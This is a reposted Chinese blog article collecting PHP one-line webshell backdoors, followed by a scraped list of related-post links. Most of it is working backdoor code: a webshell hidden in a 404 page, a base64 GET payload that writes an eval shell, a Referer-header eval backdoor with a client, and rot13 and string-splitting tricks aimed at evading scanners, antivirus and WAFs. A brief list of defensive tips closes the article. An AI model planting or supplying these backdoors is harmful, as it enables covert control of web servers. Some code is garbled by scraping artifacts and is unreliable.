这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。

利用404页面隐藏PHP小马

404 Not Found

Not Found

The requested URL was not found on this server.

@preg_replace("/[pageerror]/e",$_POST[‘error‘],"saft");

header(‘HTTP/1.1 404 Not Found‘);?>

404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话

将$_POST[‘code‘]的内容赋值给$_SESSION[‘theCode‘],然后执行$_SESSION[‘theCode‘],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

超级隐蔽的PHP后门

仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w% 29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

层级请求,编码运行PHP后门

此方法用两个文件实现,文件1

header(‘Content-type:text/html;charset=utf-8‘);parse_str($_SERVER[‘HTTP_REFERER‘], $a);if(reset($a) == ‘10‘ && count($a) == 9) {eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));

}

文件2

header(‘Content-type:text/html;charset=utf-8‘);//要执行的代码

$code = <<

CODE;//进行base64编码

$code = base64_encode($code);//构造referer字符串

$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";//后门url

$url = ‘http://localhost/test1/1.php‘;$ch =curl_init();$options = array(

CURLOPT_URL=> $url,CURLOPT_HEADER=> FALSE,CURLOPT_RETURNTRANSFER=> TRUE,CURLOPT_REFERER=> $referer);

curl_setopt_array($ch, $options);echo curl_exec($ch);

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的 漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通 过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作 为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫 描,结果显示该文件无任何威胁。

以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。

三个变形的一句话PHP木马

第一个

在菜刀里写http://site/1.php?2=assert密码是1

第二个

在菜刀里写http://site/2.php?_=assert&__=eval($_POST[‘pass‘]) 密码是pass。

如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。

第三个

($b4dboy = $_POST[‘b4dboy‘]) && @preg_replace(‘/ad/e‘,[email protected]str_rot13(‘riny‘).‘($b4dboy)‘, ‘add‘);

str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

.htaccess做PHP后门

这个其实在2007年的时候作者GaRY就爆出了,只是后边没人关注,这个利用关键点在于一句话:

AddType application/x-httpd-php .htaccess###### SHELL ###### 这里写上你的后门吧###### LLEHS ######

toby57解析加密一句话木马

此段后门使用方法会与其它方法不太一样,具体看下面

Client:

Server:

}$out = "GET /php_muma/client.php HTTP/1.1\r\n";$out .= "Content-Type: application/x-www-form-urlencoded\r\n";$out .= "User-Agent: MSIE\r\n";$out .= "Host: 127.0.0.1\r\n";$out .= "H0ST: qiushui51a\r\n";$out .= "X: ../shell.php \r\n";$out .= "Y: <?php eval(\$_POST1);?>\r\n";$out .= "Connection: close\r\n\r\n";fwrite($fp,$out);while(!feof($fp)){$resp_str="";$resp_str .= fgets($fp,512);//返回值放入$resp_str

}fclose($fp);echo($resp_str);//处理返回值.

?>

对服务端与客户端指令对比,如一致则执行后门指令。

最后列几个高级的PHP一句话木马后门

1、$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST[‘h‘],"Access");//菜刀一句话

2、$filename=$_GET[‘xbid‘];include ($filename);//危险的include函数,直接编译任何文件为php格式运行

3、$reg="c"."o"."p"."y";$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);//重命名任何文件

4、$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$gzid("/[discuz]/e",$_POST[‘h‘],"Access");//菜刀一句话

5、include ($uid);//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif

//gif插一句话

6、典型一句话

程序后门代码<?php eval_r($_POST[sb])?>程序代码<?php @eval_r($_POST[sb])?>

//容错代码

程序代码<?php assert($_POST[sb]);?>

//使用lanker一句话客户端的专家模式执行相关的php语句

程序代码$_POST[‘sa‘]($_POST[‘sb‘]);?>程序代码$_POST[‘sa‘]($_POST[‘sb‘],$_POST[‘sc‘])?>程序代码<?php

@preg_replace("/[email]/e",$_POST[‘h‘],"error");?>

//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入

程序代码[email protected]_r($_POST1);程序代码

//绕过<?限制的一句话

如何应对PHP一句话后门

我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:

对PHP程序编写要有安全意识

服务器日志文件要经常看,经常备份

对每个站点进行严格的权限分配

对动态文件及目录经常批量安全审查

学会如何进行手工杀毒《即行为判断查杀》

时刻关注,或渗入活跃的网络安全营地

对服务器环境层级化处理,哪怕一个函数也可做规则

原文:http://www.cnblogs.com/hookjoy/p/4372724.html

php后门绕过eval关键字,一些变态的PHP一句话后门收集相关推荐

  1. 一些变态的PHP一句话后门收集

    这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马 ...

  2. shell 免杀aspx_避开eval关键字,打造免杀一句话木马

    这年头留个php一句话木马,随便就被杀了,但具我所知,杀软和运维人员杀的都是eval函数的关键字,只要避开关键字就能延长木马的寿命,但要怎么避开呢? 首先我想到的是将eval从字符串类型赋给一个变量. ...

  3. 追踪tcp得到php一句话菜刀连接即可,强大的PHP一句话后门

    强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的. 今天我们细数一些有意思的PHP一句话木马. 1. ...

  4. 暗组免杀php,那些强悍的PHP一句话后门

    以一个学习的心态来对待PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦. 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法 ...

  5. 那些强悍的PHP一句话后门

    我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦. 强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新 ...

  6. 那些强悍的PHP一句话后门【转】

    我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦. 强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新 ...

  7. java后门_整理的比较全的一句话后门代码(方面大家查找后门)

    整理的比较全的一句话后门代码(方面大家查找后门) 更新时间:2010年09月05日 12:23:00   作者: 整理的比较全的一句话后门代码(方面大家查找后门),很多情况下也会有一些特殊字符的表示, ...

  8. silic group第五版php木马,php一句话后门特征码与免杀-zz

    作者:YoCo Smart 来自:Silic Group Hacker Army [BlackBap.Org] 首先我们要明白什么是一句话木马. "一句话"是一种特征性很强的脚本后 ...

  9. php一句话后门学习(含免杀)

    php一句话后门 开发很久的可利用函数 eval和assert php任意代码执行的一句话后门,我们喜欢用的是传统的eval,php5,7通用. <?php @eval($_POST['a']) ...

最新文章

  1. mysql decode语句_mysql数据灾难恢复方案
  2. Boost:bind绑定__cdecl(成员函数)测试程序
  3. dota2比分网_红黑电竞比分横空出世 LPL夏季赛火热进行
  4. linux 到文件的最后一行,linux – 将第一行复制到文件中的最后一行
  5. dispose方法的使用
  6. 【Hadoop】HIVE 数据表 使用
  7. php随机数字不重复使等式成立_Schur补与矩阵打洞,SMW求逆公式,分块矩阵与行列式(不)等式...
  8. Windows系统下的python程序安装
  9. linux php oauth安装,Linux安装phpmyadmin
  10. Julia :关于函数返回类型::
  11. struts2文件上传,获取文件名和文件类型
  12. php mysql 子查询_php – 如何在mySQL的子查询中指定父查询字段?
  13. 协整理论与面板数据分析
  14. MYSQL基础知识+运维面试题
  15. python四分位数_python 计算箱线图、中位数、上下四分位数等
  16. 解决:adb devices error protocol falut(no status)
  17. 【小程序测试】小程序介绍,项目简介
  18. linux系统使用crontab定时删除日志文件
  19. 磨金石教育设计干货分享|20个海报设计小技巧,果断打包带走
  20. 初学 PCIe System (一) - PCIe介绍及其配置空间

热门文章

  1. [原创]-数据需求的定义
  2. SpringBoot实战
  3. Google依赖管理DEPS
  4. 被华为“逼到”墙角? 爱立信本土裁员20%
  5. php命名空间中的变量,namespace-php如何通过命名空间使用其他文件中的变量
  6. 【2023年13万字】JavaScript面试题看这一篇就够了
  7. 如何获得腾讯聊天窗口的绿色小勾?(官方解释)
  8. 郭德纲经典语录---贼搞笑
  9. 对文艺程序员的一次访谈
  10. C/C++语言100题练习计划 90——10 进制转 x 进制(进制转换实现)